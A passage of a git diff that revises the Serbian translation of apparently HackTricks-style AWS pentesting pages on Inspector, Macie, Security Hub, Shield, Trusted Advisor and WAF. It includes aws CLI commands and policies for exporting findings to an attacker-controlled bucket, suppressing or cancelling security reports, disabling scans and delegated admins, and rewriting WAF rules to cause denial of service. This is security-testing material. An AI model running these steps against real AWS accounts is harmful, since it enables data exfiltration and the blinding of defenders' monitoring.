create-findings-report --report-format --s3-destination [--filter-criteria ] # SBOM report aws inspector2 create-sbom-report --report-format --s3-destination [--resource-filter-criteria ] ``` -1. **Kreirajte Amazon S3 Bucket** i prikačite politiku na njega kako bi bio dostupan iz žrtvinog Amazon Inspectora: +Sledeći primer pokazuje kako izvesti sve aktivne nalaze iz Amazon Inspector-a u Amazon S3 Bucket koji kontroliše napadač, koristeći ključ Amazon KMS koji takođe kontroliše napadač: + +1. **Kreirajte Amazon S3 Bucket** i prikačite politiku kako bi bio dostupan iz žrtvinog Amazon Inspector-a: ```json { "Version": "2012-10-17", @@ -223,7 +225,7 @@ aws inspector2 create-sbom-report --report-format --s ] } ``` -2. **Kreirajte Amazon KMS ključ** i prikačite politiku na njega kako bi bio upotrebljiv od strane žrtvinog Amazon Inspectora: +2. **Kreirajte Amazon KMS ključ** i prikačite politiku na njega kako bi bio upotrebljiv od strane žrtvinog Amazon Inspector-a: ```json { "Version": "2012-10-17", @@ -259,22 +261,22 @@ aws inspector2 create-sbom-report --report-format --s ```bash aws --region us-east-1 inspector2 create-findings-report --report-format CSV --s3-destination bucketName=,keyPrefix=exfiltration_,kmsKeyArn=arn:aws:kms:us-east-1:123456789012:key/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f ``` -- **Potencijalni Uticaj**: Generisanje i eksfiltracija detaljnih izveštaja o ranjivostima i softveru, sticanje uvida u specifične ranjivosti i bezbednosne slabosti. +- **Potencijalni uticaj**: Generisanje i eksfiltracija detaljnih izveštaja o ranjivostima i softveru, sticanje uvida u specifične ranjivosti i bezbednosne slabosti. #### `inspector2:CancelFindingsReport`, `inspector2:CancelSbomExport` -Napadač bi mogao da otkaže generisanje navedenog izveštaja o nalazima ili SBOM izveštaja, sprečavajući bezbednosne timove da dobiju pravovremene informacije o ranjivostima i softverskom računu materijala (SBOM), odlažući otkrivanje i otklanjanje bezbednosnih problema. +Napadač bi mogao da otkaže generisanje određenog izveštaja o nalazima ili SBOM izveštaja, sprečavajući bezbednosne timove da dobiju pravovremene informacije o ranjivostima i softverskom računu materijala (SBOM), odlažući otkrivanje i otklanjanje bezbednosnih problema. ```bash # Cancel findings report generation aws inspector2 cancel-findings-report --report-id # Cancel SBOM report generatiom aws inspector2 cancel-sbom-export --report-id ``` -- **Potencijalni Uticaj**: Poremećaj u praćenju bezbednosti i sprečavanje pravovremenog otkrivanja i otklanjanja bezbednosnih problema. +- **Potencijalni Uticaj**: Poremećaj u bezbednosnom nadzoru i sprečavanje pravovremenog otkrivanja i otklanjanja bezbednosnih problema. #### `inspector2:CreateFilter`, `inspector2:UpdateFilter`, `inspector2:DeleteFilter` -Napadač sa ovim dozvolama mogao bi da manipuliše pravilima filtriranja koja određuju koje ranjivosti i bezbednosni problemi se prijavljuju ili potiskuju (ako je **akcija** postavljena na SUPPRESS, biće kreirano pravilo za potiskivanje). Ovo bi moglo sakriti kritične ranjivosti od bezbednosnih administratora, olakšavajući iskorišćavanje ovih slabosti bez otkrivanja. Menjanjem ili uklanjanjem važnih filtera, napadač bi takođe mogao da stvori šum preplavljujući sistem nevažnim nalazima, ometajući efikasno praćenje i odgovor na bezbednosne pretnje. +Napadač sa ovim dozvolama mogao bi da manipuliše pravilima filtriranja koja određuju koje ranjivosti i bezbednosni problemi se prijavljuju ili potiskuju (ako je **akcija** postavljena na SUPPRESS, biće kreirano pravilo za potiskivanje). Ovo bi moglo sakriti kritične ranjivosti od bezbednosnih administratora, olakšavajući iskorišćavanje ovih slabosti bez otkrivanja. Menjanjem ili uklanjanjem važnih filtera, napadač bi takođe mogao da stvori šum preplavljujući sistem nevažnim nalazima, ometajući efikasan bezbednosni nadzor i odgovor. ```bash # Create aws inspector2 create-filter --action --filter-criteria --name [--reason ] @@ -283,19 +285,19 @@ aws inspector2 update-filter --filter-arn [--action ] [ # Delete aws inspector2 delete-filter --arn ``` -- **Potencijalni Uticaj**: Sakrivanje ili suzbijanje kritičnih ranjivosti, ili preplavljivanje sistema nevažnim nalazima. +- **Potencijalni Uticaj**: Sakrivanje ili potiskivanje kritičnih ranjivosti, ili preplavljivanje sistema nevažnim nalazima. #### `inspector2:DisableDelegatedAdminAccount`, (`inspector2:EnableDelegatedAdminAccount` & `organizations:ListDelegatedAdministrators` & `organizations:EnableAWSServiceAccess` & `iam:CreateServiceLinkedRole`) Napadač bi mogao značajno da ometa strukturu upravljanja bezbednošću. - Onemogućavanjem delegiranog administratorskog naloga, napadač bi mogao sprečiti bezbednosni tim da pristupi i upravlja podešavanjima i izveštajima Amazon Inspectora. -- Omogućavanje neovlašćenog administratorskog naloga omogućilo bi napadaču da kontroliše bezbednosne konfiguracije, potencijalno onemogućavajući skeniranja ili menjajući podešavanja kako bi sakrio zlonamerne aktivnosti. +- Omogućavanje neovlašćenog administratorskog naloga bi omogućilo napadaču da kontroliše bezbednosne konfiguracije, potencijalno onemogućavajući skeniranja ili menjajući podešavanja kako bi sakrio zlonamerne aktivnosti. > [!WARNING] > Neovlašćeni nalog mora biti u istoj Organizaciji kao žrtva da bi postao delegirani administrator. > -> Da bi neovlašćeni nalog postao delegirani administrator, takođe je potrebno da nakon što je legitimni delegirani administrator onemogućen, i pre nego što se neovlašćeni nalog omogući kao delegirani administrator, legitimni administrator mora biti deregistrovan kao delegirani administrator iz organizacije. Ovo se može uraditi sledećom komandom (**`organizations:DeregisterDelegatedAdministrator`** dozvola potrebna): **`aws organizations deregister-delegated-administrator --account-id --service-principal [inspector2.amazonaws.com](http://inspector2.amazonaws.com/)`** +> Da bi neovlašćeni nalog postao delegirani administrator, takođe je potrebno da nakon što je legitimni delegirani administrator onemogućen, i pre nego što neovlašćeni nalog bude omogućen kao delegirani administrator, legitimni administrator mora biti deregistrovan kao delegirani administrator iz organizacije. Ovo se može uraditi sledećom komandom (**`organizations:DeregisterDelegatedAdministrator`** dozvola potrebna): **`aws organizations deregister-delegated-administrator --account-id --service-principal [inspector2.amazonaws.com](http://inspector2.amazonaws.com/)`** ```bash # Disable aws inspector2 disable-delegated-admin-account --delegated-admin-account-id @@ -306,7 +308,7 @@ aws inspector2 enable-delegated-admin-account --delegated-admin-account-id [!WARNING] > Ova akcija zahteva da je izvrši delegirani administrator. @@ -320,7 +322,7 @@ aws inspector2 disassociate-member --account-id #### `inspector2:Disable`, (`inspector2:Enable` & `iam:CreateServiceLinkedRole`) -Napadač sa dozvolom `inspector2:Disable` mogao bi da onemogući bezbednosna skeniranja na specifičnim tipovima resursa (EC2, ECR, Lambda, Lambda kod) na navedenim nalozima, ostavljajući delove AWS okruženja neproverene i ranjive na napade. Pored toga, zahvaljujući dozvolama **`inspector2:Enable`** & **`iam:CreateServiceLinkedRole`**, napadač bi mogao da ponovo omogući skeniranja selektivno kako bi izbegao otkrivanje sumnjivih konfiguracija. +Napadač sa `inspector2:Disable` dozvolom mogao bi da onemogući bezbednosna skeniranja na specifičnim tipovima resursa (EC2, ECR, Lambda, Lambda kod) na navedenim nalozima, ostavljajući delove AWS okruženja neproverene i ranjive na napade. Pored toga, zahvaljujući **`inspector2:Enable`** & **`iam:CreateServiceLinkedRole`** dozvolama, napadač bi mogao ponovo da omogući skeniranja selektivno kako bi izbegao otkrivanje sumnjivih konfiguracija. > [!WARNING] > Ova akcija zahteva da je izvrši delegirani administrator. @@ -330,7 +332,7 @@ aws inspector2 disable --account-ids [--resource-types <{EC2, ECR, LAMBD # Enable aws inspector2 enable --resource-types <{EC2, ECR, LAMBDA, LAMBDA_CODE}> [--account-ids ] ``` -- **Potencijalni Uticaj**: Kreiranje slepih tačaka u bezbednosnom nadzoru. +- **Potencijalni uticaj**: Kreiranje slepih tačaka u bezbednosnom nadzoru. #### `inspector2:UpdateOrganizationConfiguration` @@ -345,7 +347,7 @@ aws inspector2 update-organization-configuration --auto-enable --tags aws inspector2 untag-resource --resource-arn --tag-keys diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md index 53ae159e4..629bbb2b9 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md @@ -6,19 +6,19 @@ ## Macie -Amazon Macie se izdvaja kao usluga koja je dizajnirana da **automatski otkriva, klasifikuje i identifikuje podatke** unutar AWS naloga. Koristi **mašinsko učenje** za kontinuirano praćenje i analizu podataka, fokusirajući se prvenstveno na otkrivanje i upozoravanje na neobične ili sumnjive aktivnosti ispitivanjem **cloud trail event** podataka i obrazaca ponašanja korisnika. +Amazon Macie se izdvaja kao usluga dizajnirana za **automatsko otkrivanje, klasifikaciju i identifikaciju podataka** unutar AWS naloga. Koristi **mašinsko učenje** za kontinuirano praćenje i analizu podataka, prvenstveno se fokusirajući na otkrivanje i upozoravanje na neobične ili sumnjive aktivnosti ispitivanjem **cloud trail event** podataka i obrazaca ponašanja korisnika. Ključne karakteristike Amazon Macie: 1. **Aktivna revizija podataka**: Koristi mašinsko učenje za aktivnu reviziju podataka dok se različite radnje dešavaju unutar AWS naloga. -2. **Otkrivanje anomalija**: Identifikuje nepravilne aktivnosti ili obrasce pristupa, generišući upozorenja kako bi se smanjili potencijalni rizici od izlaganja podataka. -3. **Kontinuirano praćenje**: Automatski prati i otkriva nove podatke u Amazon S3, koristeći mašinsko učenje i veštačku inteligenciju kako bi se prilagodio obrascima pristupa podacima tokom vremena. -4. **Klasifikacija podataka uz NLP**: Koristi obradu prirodnog jezika (NLP) za klasifikaciju i tumačenje različitih tipova podataka, dodeljujući rizik ocene kako bi se prioritizovali nalazi. +2. **Otkrivanje anomalija**: Identifikuje nepravilne aktivnosti ili obrasce pristupa, generišući upozorenja kako bi umanjila potencijalne rizike od izlaganja podataka. +3. **Kontinuirano praćenje**: Automatski prati i otkriva nove podatke u Amazon S3, koristeći mašinsko učenje i veštačku inteligenciju kako bi se prilagodilo obrascima pristupa podacima tokom vremena. +4. **Klasifikacija podataka uz NLP**: Koristi obradu prirodnog jezika (NLP) za klasifikaciju i tumačenje različitih tipova podataka, dodeljujući rizik ocene kako bi prioritizovao nalaze. 5. **Praćenje bezbednosti**: Identifikuje podatke o bezbednosti, uključujući API ključeve, tajne ključeve i lične informacije, pomažući u sprečavanju curenja podataka. Amazon Macie je **regionalna usluga** i zahteva 'AWSMacieServiceCustomerSetupRole' IAM ulogu i omogućeni AWS CloudTrail za funkcionalnost. -### Alert System +### Sistem upozorenja Macie kategorizuje upozorenja u unapred definisane kategorije kao što su: @@ -31,16 +31,16 @@ Macie kategorizuje upozorenja u unapred definisane kategorije kao što su: Ova upozorenja pružaju detaljne opise i analize rezultata za efikasan odgovor i rešavanje. -### Dashboard Features +### Karakteristike kontrolne table Kontrolna tabla kategorizuje podatke u različite sekcije, uključujući: - S3 objekti (po vremenskom opsegu, ACL, PII) - Visoko rizični CloudTrail događaji/korisnici - Lokacije aktivnosti -- Tipovi identiteta CloudTrail korisnika, i više. +- Tipovi identiteta CloudTrail korisnika, i još mnogo toga. -### User Categorization +### Kategorizacija korisnika Korisnici su klasifikovani u nivoe na osnovu nivoa rizika njihovih API poziva: @@ -49,22 +49,22 @@ Korisnici su klasifikovani u nivoe na osnovu nivoa rizika njihovih API poziva: - **Silver**: Srednje rizični API pozivi. - **Bronze**: Nisko rizični API pozivi. -### Identity Types +### Tipovi identiteta Tipovi identiteta uključuju Root, IAM korisnika, Pretpostavljenu ulogu, Federisanog korisnika, AWS nalog i AWS uslugu, ukazujući na izvor zahteva. -### Data Classification +### Klasifikacija podataka Klasifikacija podataka obuhvata: - Content-Type: Na osnovu otkrivenog tipa sadržaja. -- File Extension: Na osnovu ekstenzije datoteke. -- Theme: Kategorizovano prema ključnim rečima unutar datoteka. -- Regex: Kategorizovano na osnovu specifičnih regex obrazaca. +- Ekstenzija fajla: Na osnovu ekstenzije fajla. +- Tema: Kategorizovana prema ključnim rečima unutar fajlova. +- Regex: Kategorizovana na osnovu specifičnih regex obrazaca. -Najveći rizik među ovim kategorijama određuje konačni nivo rizika datoteke. +Najveći rizik među ovim kategorijama određuje konačni nivo rizika fajla. -### Research and Analysis +### Istraživanje i analiza Funkcija istraživanja Amazon Macie omogućava prilagođene upite preko svih Macie podataka za dubinsku analizu. Filteri uključuju CloudTrail podatke, S3 Bucket svojstva i S3 objekte. Pored toga, podržava pozivanje drugih naloga da dele Amazon Macie, olakšavajući kolaborativno upravljanje podacima i praćenje bezbednosti. @@ -101,11 +101,11 @@ aws macie2 list-classification-jobs aws macie2 list-classification-scopes aws macie2 list-custom-data-identifiers ``` -#### Post Exploatacija +#### Post Eksploatacija > [!TIP] > Iz perspektive napadača, ova usluga nije napravljena da detektuje napadača, već da detektuje osetljive informacije u sačuvanim datotekama. Stoga, ova usluga može **pomoći napadaču da pronađe osetljive informacije** unutar kanti.\ -> Međutim, možda bi napadač takođe mogao biti zainteresovan da je ometa kako bi sprečio žrtvu da dobije upozorenja i lakše ukrade te informacije. +> Međutim, možda bi napadač takođe mogao biti zainteresovan da je ometa kako bi sprečio žrtvu da dobije upozorenja i lakše ukrao te informacije. TODO: PR-ovi su dobrodošli! diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-security-hub-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-security-hub-enum.md index e2f9360dc..ddd18c910 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-security-hub-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-security-hub-enum.md @@ -4,7 +4,7 @@ ## Security Hub -**Security Hub** prikuplja bezbednosne **podatke** iz **različitih AWS naloga**, usluga i podržanih proizvoda trećih strana i pomaže vam da **analizirate svoju bezbednost** i identifikujete najprioritetnije bezbednosne probleme. +**Security Hub** prikuplja bezbednosne **podatke** iz **različitih AWS naloga**, usluga i podržanih proizvoda trećih strana i pomaže vam da **analizirate svoje bezbednosne** trendove i identifikujete najprioritetnije bezbednosne probleme. Ona **centralizuje bezbednosne alarme između naloga**, i pruža UI za pregled ovih. Najveće ograničenje je to što **ne centralizuje alarme između regiona**, samo između naloga. @@ -49,11 +49,11 @@ aws securityhub list-automation-rules aws securityhub list-members aws securityhub get-members --account-ids ``` -## Bypass Detection +## Zaobilaženje Detekcije -TODO, PRs accepted +TODO, PR-ovi su prihvaćeni -## References +## Reference - [https://cloudsecdocs.com/aws/services/logging/other/#general-info](https://cloudsecdocs.com/aws/services/logging/other/#general-info) - [https://docs.aws.amazon.com/securityhub/latest/userguide/what-is-securityhub.html](https://docs.aws.amazon.com/securityhub/latest/userguide/what-is-securityhub.html) diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-shield-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-shield-enum.md index f0599f3c5..f58fee71d 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-shield-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-shield-enum.md @@ -8,7 +8,7 @@ AWS Shield je dizajniran da pomogne **u zaštiti vaše infrastrukture od distrib **AWS Shield Standard** je **besplatan** za sve, i nudi **DDoS zaštitu** protiv nekih od uobičajenih napada na trećem sloju, **mrežnom sloju**, i četvrtom sloju, **transportnom sloju**. Ova zaštita je integrisana sa CloudFront i Route 53. -**AWS Shield Advanced** nudi **veći nivo zaštite** za DDoS napade širom šireg spektra AWS usluga uz dodatni trošak. Ovaj napredni nivo nudi zaštitu za vaše web aplikacije koje rade na EC2, CloudFront, ELB, kao i Route 53. Pored ovih dodatnih tipova resursa koji su zaštićeni, postoje poboljšani nivoi DDoS zaštite u poređenju sa Standard verzijom. Takođe ćete imati **pristup specijalizovanom DDoS timu za odgovor 24/7 u AWS-u, poznatom kao DRT**. +**AWS Shield Advanced** nudi **veći nivo zaštite** za DDoS napade širom šireg spektra AWS usluga uz dodatnu naknadu. Ovaj napredni nivo nudi zaštitu za vaše web aplikacije koje rade na EC2, CloudFront, ELB, kao i Route 53. Pored ovih dodatnih tipova resursa koji su zaštićeni, postoje poboljšani nivoi DDoS zaštite u poređenju sa Standard verzijom. Takođe ćete imati **pristup specijalizovanom DDoS timu za odgovor 24/7 u AWS-u, poznatom kao DRT**. Dok je Standard verzija Shield-a nudila zaštitu protiv trećeg i četvrtog sloja, **Advanced takođe nudi zaštitu protiv sedmog sloja, aplikacionih, napada.** diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md index 4c6c3f093..14bb50c20 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md @@ -4,7 +4,7 @@ {{#include ../../../../banners/hacktricks-training.md}} -## AWS Trusted Advisor Overview +## AWS Trusted Advisor Pregled Trusted Advisor je usluga koja **pruža preporuke** za optimizaciju vašeg AWS naloga, usklađujući se sa **AWS najboljim praksama**. To je usluga koja funkcioniše u više regiona. Trusted Advisor nudi uvide u četiri glavne kategorije: @@ -15,56 +15,56 @@ Trusted Advisor je usluga koja **pruža preporuke** za optimizaciju vašeg AWS n Sveobuhvatne funkcije Trusted Advisor-a su isključivo dostupne uz **AWS poslovne ili preduzetničke planove podrške**. Bez ovih planova, pristup je ograničen na **šest osnovnih provera**, prvenstveno fokusiranih na performanse i bezbednost. -### Notifications and Data Refresh +### Obaveštenja i Osvežavanje Podataka - Trusted Advisor može izdavati upozorenja. - Stavke se mogu isključiti iz njegovih provera. - Podaci se osvežavaju svake 24 sata. Međutim, ručno osvežavanje je moguće 5 minuta nakon poslednjeg osvežavanja. -### **Checks Breakdown** +### **Razlaganje Provera** -#### CategoriesCore +#### KategorijeOsnovne 1. Optimizacija troškova 2. Bezbednost 3. Otpornost na greške 4. Performanse 5. Ograničenja usluga -6. S3 dozvole za kante +6. Dozvole S3 Bucket-a -#### Core Checks +#### Osnovne Provere Ograničeno na korisnike bez poslovnih ili preduzetničkih planova podrške: -1. Bezbednosne grupe - Specifične portove bez ograničenja +1. Grupa bezbednosti - Specifične portove bez ograničenja 2. Korišćenje IAM-a -3. MFA na root nalogu -4. EBS javni snimci -5. RDS javni snimci +3. MFA na Root nalogu +4. Javni EBS snimci +5. Javni RDS snimci 6. Ograničenja usluga -#### Security Checks +#### Provere Bezbednosti Lista provera koja se prvenstveno fokusira na identifikaciju i ispravljanje bezbednosnih pretnji: -- Podešavanja bezbednosnih grupa za visoko rizične portove -- Neograničen pristup bezbednosnim grupama -- Otvoren pristup za pisanje/listanje na S3 kante +- Podešavanja grupa bezbednosti za visoko rizične portove +- Neograničen pristup grupama bezbednosti +- Otvoren pristup za pisanje/listanje S3 bucket-a - MFA omogućeno na root nalogu -- Popustljivost bezbednosne grupe RDS-a +- Popustljivost grupe bezbednosti RDS-a - Korišćenje CloudTrail-a - SPF zapisi za Route 53 MX zapise - HTTPS konfiguracija na ELB-ima -- Bezbednosne grupe za ELB-e +- Grupe bezbednosti za ELB-e - Provere sertifikata za CloudFront - Rotacija IAM pristupnih ključeva (90 dana) -- Izloženost pristupnim ključevima (npr. na GitHub-u) -- Javni pristup EBS ili RDS snimcima +- Izloženost pristupnih ključeva (npr. na GitHub-u) +- Javna vidljivost EBS ili RDS snimaka - Slabe ili odsutne politike lozinki za IAM AWS Trusted Advisor deluje kao ključni alat u osiguravanju optimizacije, performansi, bezbednosti i otpornosti na greške AWS usluga na osnovu utvrđenih najboljih praksi. -## **References** +## **Reference** - [https://cloudsecdocs.com/aws/services/logging/other/#trusted-advisor](https://cloudsecdocs.com/aws/services/logging/other/#trusted-advisor) diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md index fcb7f2073..98d40c605 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md @@ -6,13 +6,13 @@ ## AWS WAF -AWS WAF je **vatrozid za web aplikacije** dizajniran da **zaštiti web aplikacije ili API-je** od raznih web eksploatacija koje mogu uticati na njihovu dostupnost, sigurnost ili potrošnju resursa. Omogućava korisnicima da kontrolišu dolazni saobraćaj postavljanjem **pravila sigurnosti** koja ublažavaju tipične vektore napada kao što su SQL injekcija ili cross-site scripting, kao i definisanjem prilagođenih pravila filtriranja. +AWS WAF je **vatrozid za web aplikacije** dizajniran da **zaštiti web aplikacije ili API-je** od raznih web eksploatacija koje mogu uticati na njihovu dostupnost, sigurnost ili potrošnju resursa. Omogućava korisnicima da kontrolišu dolazni saobraćaj postavljanjem **pravila sigurnosti** koja ublažavaju tipične vektore napada kao što su SQL injekcija ili skriptovanje između sajtova, kao i definisanjem prilagođenih pravila filtriranja. ### Ključni koncepti #### Web ACL (Lista kontrole pristupa) -Web ACL je zbirka pravila koja možete primeniti na svoje web aplikacije ili API-je. Kada povežete Web ACL sa resursom, AWS WAF inspekcioniše dolazne zahteve na osnovu pravila definisanih u Web ACL-u i preduzima određene akcije. +Web ACL je zbirka pravila koja možete primeniti na svoje web aplikacije ili API-je. Kada povežete Web ACL sa resursom, AWS WAF ispituje dolazne zahteve na osnovu pravila definisanih u Web ACL-u i preduzima određene akcije. #### Grupa pravila @@ -22,7 +22,7 @@ Svaka grupa pravila ima svoju povezanu **kapacitet**, koja pomaže u izračunava #### Pravilo -Pravilo definiše skup uslova koje AWS WAF koristi za inspekciju dolaznih web zahteva. Postoje dve glavne vrste pravila: +Pravilo definiše skup uslova koje AWS WAF koristi za ispitivanje dolaznih web zahteva. Postoje dve glavne vrste pravila: 1. **Redovno pravilo**: Ova vrsta pravila koristi određene uslove da odredi da li da dozvoli, blokira ili broji web zahteve. 2. **Pravilo zasnovano na brzini**: Broji zahteve sa određene IP adrese tokom petominutnog perioda. Ovde korisnici definišu prag, i ako broj zahteva sa IP adrese premaši ovaj limit unutar pet minuta, naredni zahtevi sa te IP adrese se blokiraju dok stopa zahteva ne padne ispod praga. Minimalni prag za pravila zasnovana na brzini je **2000 zahteva**. @@ -51,7 +51,7 @@ API ključevi u AWS WAF se koriste za autentifikaciju zahteva za određene API o #### Politika dozvola -Politika dozvola je IAM politika koja specificira ko može da izvršava radnje na AWS WAF resursima. Definisanjem dozvola možete kontrolisati pristup WAF resursima i osigurati da samo ovlašćeni korisnici mogu da kreiraju, ažuriraju ili brišu konfiguracije. +Politika dozvola je IAM politika koja specificira ko može da vrši radnje na AWS WAF resursima. Definisanjem dozvola možete kontrolisati pristup WAF resursima i osigurati da samo ovlašćeni korisnici mogu da kreiraju, ažuriraju ili brišu konfiguracije. #### Opseg @@ -71,16 +71,16 @@ Svaki AWS nalog može konfigurisati: - **100 uslova** za svaku vrstu (osim za Regex, gde je dozvoljeno samo **10 uslova**, ali ovaj limit može biti povećan). - **100 pravila** i **50 Web ACL-a**. - Maksimalno **5 pravila zasnovanih na brzini**. -- Propusnost od **10,000 zahteva po sekundi** kada je WAF implementiran sa aplikacionim load balancerom. +- Propusnost od **10,000 zahteva po sekundi** kada je WAF implementiran sa aplikacionim balansirnikom opterećenja. #### Akcije pravila Akcije su dodeljene svakom pravilu, a opcije su: -- **Dozvoli**: Zahtev se prosleđuje odgovarajućoj CloudFront distribuciji ili Application Load Balancer-u. +- **Dozvoli**: Zahtev se prosleđuje odgovarajućoj CloudFront distribuciji ili aplikacionom balansirniku opterećenja. - **Blokiraj**: Zahtev se odmah prekida. - **Broj**: Broji zahteve koji ispunjavaju uslove pravila. Ovo je korisno za testiranje pravila, potvrđivanje tačnosti pravila pre nego što se postavi na Dozvoli ili Blokiraj. -- **CAPTCHA i Izazov:** Proverava se da zahtev ne dolazi od bota koristeći CAPTCHA zagonetke i tihe izazove. +- **CAPTCHA i izazov:** Proverava se da zahtev ne dolazi od bota koristeći CAPTCHA zagonetke i tihe izazove. Ako zahtev ne odgovara nijednom pravilu unutar Web ACL-a, podvrgava se **podrazumevanoj akciji** (Dozvoli ili Blokiraj). Redosled izvršenja pravila, definisan unutar Web ACL-a, je ključan i obično prati ovu sekvencu: @@ -188,7 +188,7 @@ aws wafv2 get-mobile-sdk-release --platform --release-version ### Post Exploatacija / Obilaženje > [!TIP] -> Sa stanovišta napadača, ova usluga može pomoći napadaču da identifikuje WAF zaštite i mrežne izloženosti koje bi mu mogle pomoći da kompromituje druge veb stranice. +> Iz perspektive napadača, ova usluga može pomoći napadaču da identifikuje WAF zaštite i mrežne izloženosti koje bi mu mogle pomoći da kompromituje druge veb stranice. > > Međutim, napadač bi takođe mogao biti zainteresovan za ometanje ove usluge kako veb stranice ne bi bile zaštićene WAF-om. @@ -198,9 +198,9 @@ U mnogim operacijama brisanja i ažuriranja biće neophodno obezbediti **lock to Napadač bi mogao da kompromituje bezbednost pogođenog resursa na sledeće načine: -- Kreiranjem grupa pravila koje bi, na primer, mogle blokirati legitimni saobraćaj sa legitimnih IP adresa, uzrokujući uskraćivanje usluge. -- Ažuriranjem grupa pravila, sa mogućnošću da modifikuje njihove akcije, na primer, sa **Block** na **Allow**. -- Brisanjem grupa pravila koje pružaju kritične mere bezbednosti. +- Kreiranjem pravnih grupa koje bi, na primer, mogle blokirati legitimni saobraćaj sa legitimnih IP adresa, uzrokujući uskraćivanje usluge. +- Ažuriranjem pravnih grupa, sa mogućnošću da modifikuje njihove akcije, na primer, sa **Block** na **Allow**. +- Brisanjem pravnih grupa koje pružaju kritične mere bezbednosti. ```bash # Create Rule Group aws wafv2 create-rule-group --name --capacity --visibility-config \ @@ -211,7 +211,7 @@ aws wafv2 update-rule-group --name --id --visibility-config --id --lock-token --scope | CLOUDFRONT --region=us-east-1> ``` -Следећи примери показују групу правила која би блокирала легитиман саобраћај са специфичних IP адреса: +Sledeći primeri prikazuju grupu pravila koja bi blokirala legitimni saobraćaj sa specifičnih IP adresa: ```bash aws wafv2 create-rule-group --name BlockLegitimateIPsRuleGroup --capacity 1 --visibility-config SampledRequestsEnabled=false,CloudWatchMetricsEnabled=false,MetricName=BlockLegitimateIPsRuleGroup --scope CLOUDFRONT --region us-east-1 --rules file://rule.json ``` @@ -237,17 +237,17 @@ Datoteka **rule.json** bi izgledala ovako: } ] ``` -**Potencijalni Uticaj**: Neovlašćen pristup, curenje podataka i potencijalni DoS napadi. +**Potencijalni uticaj**: Neovlašćen pristup, curenje podataka i potencijalni DoS napadi. #### **`wafv2:CreateWebACL`, `wafv2:UpdateWebACL`, `wafv2:DeleteWebACL`** Sa ovim dozvolama, napadač bi mogao da: -- Kreira novi Web ACL, uvodeći pravila koja ili dozvoljavaju zlonamerni saobraćaj ili blokiraju legitimni saobraćaj, čime efikasno čini WAF beskorisnim ili uzrokuje uskraćivanje usluge. +- Kreira novi Web ACL, uvodeći pravila koja ili dozvoljavaju zlonamerni saobraćaj ili blokiraju legitimni saobraćaj, efektivno čineći WAF beskorisnim ili uzrokujući uskraćivanje usluge. - Ažurira postojeće Web ACL-ove, imajući mogućnost da modifikuje pravila kako bi dozvolio napade kao što su SQL injekcija ili cross-site scripting, koji su prethodno bili blokirani, ili ometa normalan protok saobraćaja blokirajući validne zahteve. - Obriše Web ACL, ostavljajući pogođene resurse potpuno nezaštićenim, izlažući ih širokom spektru web napada. -> [!NOTE] +> [!NAPOMENA] > Možete obrisati navedeni **WebACL** samo ako je **ManagedByFirewallManager** false. ```bash # Create Web ACL @@ -259,7 +259,7 @@ aws wafv2 update-web-acl --name --id --default-action -- # Delete Web ACL aws wafv2 delete-web-acl --name --id --lock-token --scope | CLOUDFRONT --region=us-east-1> ``` -Sledeći primeri pokazuju kako ažurirati Web ACL da blokira legitimni saobraćaj iz određenog IP skupa. Ako izvorni IP ne odgovara nijednom od tih IP adresa, podrazumevana akcija bi takođe bila blokiranje, što uzrokuje DoS. +Sledeći primeri pokazuju kako ažurirati Web ACL da blokira legitimni saobraćaj iz specifičnog IP skupa. Ako izvorni IP ne odgovara nijednom od tih IP adresa, podrazumevana akcija bi takođe bila blokiranje, što može izazvati DoS. **Original Web ACL**: ```json @@ -329,11 +329,11 @@ Datoteka **rule.json** bi izgledala ovako: } ] ``` -**Potencijalni Uticaj**: Neovlašćen pristup, curenje podataka i potencijalni DoS napadi. +**Potencijalni uticaj**: Neovlašćen pristup, curenje podataka i potencijalni DoS napadi. #### **`wafv2:AssociateWebACL`, `wafv2:DisassociateWebACL`** -Dozvola **`wafv2:AssociateWebACL`** bi omogućila napadaču da poveže web ACL-ove (Liste Kontrole Pristupa) sa resursima, što bi omogućilo zaobilaženje bezbednosnih kontrola, dopuštajući neovlašćenoj saobraćaju da dođe do aplikacije, potencijalno dovodeći do eksploatacija poput SQL injekcije ili cross-site scripting (XSS). S druge strane, sa dozvolom **`wafv2:DisassociateWebACL`**, napadač bi mogao privremeno onemogućiti bezbednosne zaštite, izlažući resurse ranjivostima bez otkrivanja. +Dozvola **`wafv2:AssociateWebACL`** bi omogućila napadaču da poveže web ACL-ove (Liste za kontrolu pristupa) sa resursima, što bi omogućilo zaobilaženje bezbednosnih kontrola, dopuštajući neovlašćenoj saobraćaju da dođe do aplikacije, što potencijalno može dovesti do eksploatacija poput SQL injekcije ili cross-site scripting (XSS). S druge strane, sa dozvolom **`wafv2:DisassociateWebACL`**, napadač bi mogao privremeno onemogućiti 